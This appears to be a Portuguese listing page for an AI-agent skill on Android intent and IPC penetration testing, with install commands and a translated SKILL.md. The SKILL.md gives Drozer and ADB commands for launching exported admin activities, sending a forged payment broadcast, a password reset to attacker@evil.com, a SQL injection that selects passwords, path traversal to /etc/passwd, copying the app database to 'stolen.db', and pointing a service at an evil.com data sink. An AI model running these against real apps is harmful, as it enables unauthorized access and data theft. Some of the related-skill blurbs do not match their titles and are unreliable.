testing-android-intents-for-vulnerabilities
Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.
O que ela faz
Esta ferramenta verifica se um aplicativo Android tem falhas de segurança que permitem que outros aplicativos acessem informações ou executem ações indevidas. Ela testa como os aplicativos se comunicam entre si.
Quando usar
- ✓Ao testar a segurança de um aplicativo Android.
- ✓Quando você suspeita que um aplicativo pode vazar dados.
- ✓Para verificar se um aplicativo pode ser controlado por outro malicioso.
Exemplo do que pedir para a IA
“Verifique se o aplicativo 'MeuApp' tem falhas de segurança na comunicação entre aplicativos.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa outras ferramentas para examinar os componentes do aplicativo que podem ser acessados por outros. Ela tenta enviar comandos e verificar se há vazamento de dados ou acesso não autorizado.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-android-intents-for-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-android-intents-for-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Testando Intents do Android para Vulnerabilidades
Quando Usar
Use esta habilidade quando:
- Avaliando atividades, serviços, receptores e provedores de conteúdo exportados de aplicativos Android
- Testando injeção de intent e invocação não autorizada de componentes
- Avaliando a segurança de receptores de broadcast para exposição de dados sensíveis
- Realizando testes de penetração focados em IPC em aplicativos Android
Não use em dispositivos de produção sem autorização explícita.
Pré-requisitos
- Dispositivo Android com root ou emulador com ADB
- Agente Drozer instalado no dispositivo alvo (
drozer agent.apk) - Console Drozer no host (
pip install drozer) - APK alvo descompilado com apktool para análise do AndroidManifest.xml
- Frida para monitoramento de intents em tempo de execução
Fluxo de Trabalho
Passo 1: Enumerar Componentes Exportados
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported
# List exported activities
run app.activity.info -a com.target.app
# List exported services
run app.service.info -a com.target.app
# List exported receivers
run app.broadcast.info -a com.target.app
# List content providers
run app.provider.info -a com.target.app
Passo 2: Testar Atividades Exportadas
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity
# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
--extra string user_id 1337
# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
-d "content://com.target.app/users/admin" com.target.app
# If admin activity opens without auth, report as authorization bypass
Passo 3: Testar Receptores de Broadcast
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
--extra string amount "0.01" --extra string recipient "attacker"
# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN
# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es email "attacker@evil.com"
Passo 4: Testar Provedores de Conteúdo
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
--selection "1=1) UNION SELECT username,password FROM users--"
# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
Passo 5: Testar Vulnerabilidades de Pending Intent
// Monitor PendingIntent creation via Frida
Java.perform(function() {
var PendingIntent = Java.use("android.app.PendingIntent");
PendingIntent.getActivity.overload("android.content.Context", "int",
"android.content.Intent", "int").implementation =
function(context, requestCode, intent, flags) {
console.log("[PendingIntent] getActivity:");
console.log(" Intent: " + intent.toString());
console.log(" Flags: " + flags);
// Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
var FLAG_MUTABLE = 0x02000000;
if ((flags & FLAG_MUTABLE) !== 0) {
console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
}
return this.getActivity(context, requestCode, intent, flags);
};
});
Passo 6: Testar Vinculação de Serviço
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService \
--msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
Conceitos Chave
| Termo | Definição |
|---|---|
| Componente Exportado | Componente Android (atividade/serviço/receptor/provedor) acessível a outros aplicativos no dispositivo |
…
Perguntas frequentes
O que são 'Intents'?
Intents são como mensagens que um aplicativo envia para outro pedindo para fazer algo ou para compartilhar informações.
O que significa 'componente exportado'?
Um componente exportado é uma parte do aplicativo que outros aplicativos no celular podem acessar e usar.
Preciso ser um especialista para usar isso?
Não é necessário ser um programador, mas é preciso ter um conhecimento básico de como os aplicativos Android funcionam e como usar ferramentas de linha de comando.
Detalhes
Descrição original do autor
Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6213
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
cpp-testing
Faz seu agente escrever e melhorar testes para código C++. Ajuda a configurar ferramentas de teste e a corrigir erros.
affaan-m/ECC
csharp-testing
Ajuda seu agente a criar testes para código C# e .NET. Ele usa as melhores práticas para garantir que os testes sejam eficientes e confiáveis.
affaan-m/ECC
django-tdd
Faz seu agente aplicar estratégias de teste para Django com pytest-django e TDD. É útil para escrever testes robustos e garantir a qualidade do código, especialmente para APIs DRF.
affaan-m/ECC